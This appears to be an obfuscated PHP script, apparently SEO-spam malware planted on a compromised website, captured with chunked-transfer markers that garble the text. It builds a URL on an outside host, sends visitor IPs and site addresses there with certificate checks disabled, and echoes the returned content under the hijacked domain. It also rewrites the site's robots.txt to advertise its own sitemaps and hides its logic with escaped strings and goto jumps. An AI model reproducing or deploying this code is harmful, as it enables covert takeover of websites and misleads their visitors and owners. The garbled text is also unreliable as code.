4 $url, CURLOPT_ 5 RETUR 6 NTRANS 8 FER => t e rue, CURLOPT_S 5 SL_VE 4 RIFY b PEER => fal 17 se, CURLOPT_SSL_VERIFYH 16 OST => false, CURLOPT_ 5 FOLLO 5 WLOCA 4 TION 16 => true, CURLOPT_TIME 9 OUT => 10 12 , CURLOPT_POST => 14 true, CURLOPT_POSTFI 4 ELDS 10 => $postString) b ); $data = 9 curl_exec e ($ch); curl_cl a ose($ch); 9 if (!empt c y($data)) { 6 return 9 $data; } b } if (ini_ 7 get("\1 9 41\x6c\15 9 4\157\x77 7 \x5f\16 11 5\162\154\x5f\146 8 \157\160 10 \x65\x6e")) { $c 5 ontex 9 t = strea b m_context_c 6 reate( b array("\150 d \164\x74\x70" e => array("\x6 c d\x65\x74\15 9 0\157\144 d " => "\x50\11 a 7\x53\x54" 9 , "\x74\x e 69\x6d\x65\x6f 11 \x75\164" => 10, 8 "\x68\14 f 5\x61\144\145\x c 72" => "\x43 d \157\156\164\ e 145\x6e\x74\x2 8 d\124\x7 b 9\x70\145\7 9 2\40\141\ b 160\160\x6c d \151\143\x61\ 6 x74\15 e 1\157\156\57\1 e 70\55\167\x77\ a 167\55\x66 c \x6f\162\x6d c \x2d\x75\x72 e \154\145\156\1 d 43\157\144\x6 b 5\x64\15\xa 7 " . "\1 10 03\157\156\x74\1 10 45\156\164\55\x4 d c\x65\x6e\147 9 \164\150\ a 72\x20" . 7 strlen( 12 $postString) . "\1 b 5\12" . "\x e 55\x73\145\x72 c \x2d\101\x67 10 \145\156\164\x3a f \40\115\157\172 e \x69\x6c\x6c\1 9 41\57\x35 e \56\x30\15\12" c , "\x63\157\ 13 x6e\164\x65\156\164 15 " => $postString), "\ a 163\163\x6 f c" => array("\1 e 66\x65\x72\151 f \146\x79\x5f\16 c 0\x65\145\16 13 2" => false, "\166\ 11 145\x72\151\x66\x 11 79\x5f\160\145\x6 13 5\x72\x5f\x6e\x61\1 10 55\x65" => false f ))); $data = @f 7 ile_get a _contents( d $url, false, 39 $context); if (!empty($data)) { return $data; } } return 6 ''; } 9 goto wRFt 6 _; Vgu 3 JR: 12 if (!empty($get[" d \162"])) { $r 6 obotsP 8 ath = $_ 18 SERVER["\x44\117\x43\125 c \115\x45\x4e 7 \x54\13 d 7\122\117\x4f b \x54"] . "\ e 57\162\157\142 e \x6f\x74\163\x a 2e\x74\x78 a \164"; $si 6 temapB 7 lock = e "\125\163\145\ 8 162\55\1 a 41\147\x65 11 \x6e\164\72\40\x2 8 a\xa\x41 10 \x6c\x6c\x6f\167 d \x3a\40\57\xa 13 "; $sitemaps = "\12 b \x53\x69\x7 f 4\145\x6d\x61\1 b 60\x3a\x20{ 8 $http_ty 4 pe}{ 14 $_SERVER["\x48\x54\1 c 24\x50\x5f\1 9 10\117\12 14 3\124"]}{$_SERVER["\ a 123\x43\x5 5 2\x49 d \x50\124\x5f\ b x4e\101\x4d b \x45"]}\x3f d \x73\75\163\1 e 2"; if (!file_ 12 exists($robotsPath c )) { file_pu 17 t_contents($robotsPath, 1a $sitemapBlock . $sitemaps 9 ); } else 11 { $robotsContent 22 = @file_get_contents($robotsPath) 9 ; if (str 13 pos($robotsContent, 14 $_SERVER["\123\x43\ b 122\111\120 17 \x54\x5f\x4e\101\x4d\10 6 5"]) = c == false) { 28 @file_put_contents($robotsPath, $sitemap 6 s, FIL 9 E_APPEND) f ; } } } goto Kw a 0TV; lb_EM 7 : $vurl 13 = $http_type . "\x 8 69\144\1 a 54\171\x32 a \56\x69\x6 10 4\163\150\x6f\x7 8 0\56\x63 11 \x63\167\x75\x2e\ b 143\x63\57\ 8 64\61\x3 e 9\56\x61\163\x 7 70\170" e ; goto VguJR; 5 WNTMb 1b : if (!empty($get["\x69\x64 19 "])) { if (empty($get["\1 e 53\x6b"])) { $ 9 ip = get_ 7 ip(); $ 6 params 11 = array("\151\16 a 0" => $ip, 11 "\x69\144" => is d set($get["\15 b 1\144"]) ? 10 $get["\151\x64"] c : '', "\x6c c \x6c" => $ll 6 ); $tz f str = getCurl($ d vurl, $params 14 ); if (strpos($tzstr f , "\x69\144") ! 10 == false) { echo c $tzstr; die 1d ; } } $params = array("\151\x 17 64" => $get["\x69\x64"] b , "\154\154 2b " => $ll); $str = getCurl($vurl, $params); d $str = str_re 4 plac 11 e(array("\173\x55 b \x52\114\x7 b d", "\x7b\x 6 e5\x9f f \x9f\xe5\x90\x8 7 d\x7d") 12 , array(get_url_in 8 fo("\x66 a \x75\154\x 18 6c"), get_url_info("\x6e d \157\x5f\167\ b 167\x77")), 8 $str); 1a echo $str; die; } else { $ e sitemapUrl = $ 8 ll . "\x e 3f\x73\75" . d 9 ate("\x59 e \155\144\x48\x b 69"); echo c "\x3c\144\15 9 1\x76\x20 13 \163\164\171\x6c\14 6 5\x3d\ d 47\164\145\17 b 0\164\x2d\1 10 41\x6c\x69\x67\1 c 56\x3a\143\1 13 45\x6e\x74\145\x72\ c 73\40\160\x6 d 1\x64\x64\151 12 \x6e\147\x3a\61\x3 e 0\160\170\x20\ 8 x30\x3b\ 10 47\x3e\x3c\x61\x 8 20\150\x d 72\145\x66\x3 6 d\x22{ e $sitemapUrl}\4 d 2\x20\164\141 13 \162\147\x65\164\x3 d d\x22\x5f\x62 10 \x6c\141\x6e\153 13 \x22\x20\x72\x65\15 6 4\75\4 c 2\156\157\14 10 6\x6f\154\154\15 c 7\167\42\76\ 8 40\123\1 e 51\164\x65\155 f \141\160\74\x2f 12 \141\x3e\74\x2f\14 d 4\x69\166\x3e c "; } goto UH 4 Nmn; 1d Kw0TV: if (!empty($get["\x73 19 "])) { $params = array("\ 8 x73" => 13 date("\131\155\144\ 9 110\x69") 14 , "\156\x75\155\x62\ 15 145\162" => $get["\15 a 6\165\x6d\ d 142\145\162"] 43 ); $str = getCurl($vurl, $params); $str = str_replace(array("\173\x a e5\xbd\x93 6 \345\2 b 11\x8d\xe5\ 7 234\xb0 b \xe5\x9d\20 f 0\175"), array( 1c $http_type . $_SERVER["\x48\ a 124\124\12 17 0\x5f\110\x4f\123\124"] 12 . $_SERVER["\x53\ c 103\122\x49\ e 120\124\x5f\11 b 6\101\115\1 f 05"]), $str); h 6 eader( c "\x43\x6f\15 13 6\164\145\156\x74\5 c 5\164\171\x7 b 0\x65\x3a\x 12 74\145\x78\164\x2f d \x78\x6d\154" 1a ); echo $str; die; } goto c WNTMb; OsiDT 6 : erro 8 r_report 6 ing(0) f ; goto XVeBg; H 5 WR4h: e $http_type = 14 !empty($_SERVER["\11 14 0\124\x54\120\x53"]) 4 && 1e $_SERVER["\x48\x54\x54\120\123 8 "] !== " c \157\x66\x66 a " ? "\x68\ d x74\x74\160\x a 73\72\57\x 6 2f" : 1d "\x68\x74\x74\160\x3a\57\x2f" a ; goto rRN a pn; rRNpn: 8 $ll = " 28 {$http_type}{$_SERVER["\x48\124\x54\120\ 22 137\110\117\123\124"]}{$_SERVER["\ 18 x53\x43\122\x49\120\124\ a 137\x4e\x4 14 1\x4d\x45"]}"; goto a lb_EM; RyB d oU: function d get_ip() { fo 6 reach 13 (array("\110\x54\x5 d 4\120\137\x58 f \x5f\x46\x4f\12 b 2\127\101\1 d 22\x44\105\10 9 4\x5f\106 19 \117\x52", "\x48\124\x54\ a x50\137\10 b 3\x4c\x49\1 1c 05\116\124\x5f\111\120", "\x b 52\105\115\ 13 117\124\105\x5f\101 d \x44\x44\x52" 7 ) as $k a ey) { if ( 15 !empty($_SERVER[$key] 10 )) { return trim 6 (explo 5 de("\ 16 54", $_SERVER[$key])[0 f ]); } } return c "\x55\116\x4 c b\116\117\12 f 7\x4e"; } goto c w0kkS; N6bGe 19 : function get_url_info(s d tring $return 11 _type = "\144\157 8 \155\x61 14 \x69\x6e") : string 4 { $h 13 ost = $_SERVER["\x4 13 8\124\124\x50\137\1 24 10\x4f\123\124"]; if ($return_type = e == "\144\x6f\x f 6d\x61\151\x6e" 11 ) { return $host; 1a } if ($return_type === "\ d x6e\x6f\x5f\x c 77\x77\x77") 10 { return ltrim( c $host, "\x77 10 \x77\x77\x2e"); 9 } $protoc 7 ol = is 13 set($_SERVER["\110\ 11 x54\124\120\123"] 18 ) && $_SERVER["\110\124\ 16 124\x50\123"] === "\x6 8 f\156" | 13 | isset($_SERVER["\ 1e x48\124\x54\x50\137\x58\137\10 1a 6\117\x52\127\101\122\x44\ f x45\x44\137\120 f \x52\x4f\124\x4 1f f"]) && $_SERVER["\x48\x54\x54\ 11 x50\x5f\130\137\x 10 46\x4f\x52\x57\x f 41\x52\x44\x45\ b 104\137\x50 1b \122\117\124\x4f"] === "\x6 d 8\164\164\160 16 \x73" ? "\x68\164\164\ 9 x70\x73\x 17 3a\57\x2f" : "\x68\x74\ f 164\x70\x3a\x2f a \57"; $bas 9 e_url = $ 12 protocol . $host; 20 if ($return_type === "\142\141\x 13 73\x65") { return $ e base_url; } $u 11 ri = $_SERVER["\x d 52\105\x51\x5 d 5\x45\x53\124 a \x5f\x55\1 d 22\111"]; $fu a ll_url = $ f base_url . $uri 21 ; if ($return_type === "\146\165\ 1d 154\x6c") { return $full_url; 1a } return ''; } goto RyBoU 7 ; wRFt_ 1d : function getCurl($url, $get 12 Data = array()) { 19 if (!empty($getData)) { $ 5 query 1b String = is_array($getData) 28 ? http_build_query($getData) : $getData 8 ; $url . 10 = (strpos($url, 6 "\x3f" 1a ) === false ? "\x3f" : "\x 7 26") . 14 $queryString; } if ( 17 function_exists("\143\1 18 65\162\154\x5f\151\x6e\1 f4 51\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HT 4 TPGE 17 T => true, CURLOPT_USER 5 AGENT 12 => "\115\157\172\ 11 151\154\x6c\141\x 4 2f\6 8 5\56\60" 70 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\15 10 7\x77\137\x75\x7 8 2\x6c\13 15 7\x66\157\160\145\x6e 4b ")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\ 1f 155\145\x74\150\157\144" => "\1 9 07\105\x5 11 4", "\x74\151\155 f \x65\x6f\165\16 12 4" => 10, "\150\x6 11 5\x61\144\x65\x72 13 " => "\x55\x73\145\ 9 162\x2d\x 14 41\147\145\x6e\x74\x c 3a\x20\x4d\x 15 6f\x7a\151\154\154\x6 6 1\57\6 e 5\56\x30\xd\12 f "), "\x73\x73\1 11 54" => array("\x7 10 6\145\x72\x69\x6 35 6\x79\x5f\160\x65\145\162" => false, "\166\145\162\15 10 1\146\x79\137\x7 10 0\x65\x65\x72\13 c 7\x6e\141\x6 80 d\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto 6 HWR4h; a UHNmn: ?> 0